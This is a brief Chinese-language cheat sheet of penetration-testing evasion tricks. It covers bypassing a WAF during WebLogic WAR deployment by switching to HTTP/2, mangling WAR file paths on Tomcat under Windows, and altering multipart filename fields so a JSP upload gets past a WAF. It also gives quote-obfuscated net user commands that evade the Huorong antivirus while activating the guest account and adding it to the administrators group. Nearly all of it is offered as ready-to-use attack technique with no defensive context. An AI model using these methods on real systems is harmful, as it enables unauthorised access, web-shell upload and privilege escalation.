1.   weblogic部署war的时候 http/1.1 改成http/2绕过waf

其实jar和ear部署应该也可以，但是我没成功。

2.   tomcat  windows的话部署  1.war变成 1.w/a/r  应该是 1.w\a\r

3.  上传绕过waf

filename="x.jsp"  换成   filename == x.jsp  还不行把 把band---  = 后面加空格、反复测试就行了，先确认改了也能上传在考虑是不是能绕waf

4. 火绒加用户绕过 

n"e"t us"e"r guest 1q.asd
n"e"t us"e"r guest /active:yes
n"e"t loc"a"lgroup administrators guest /add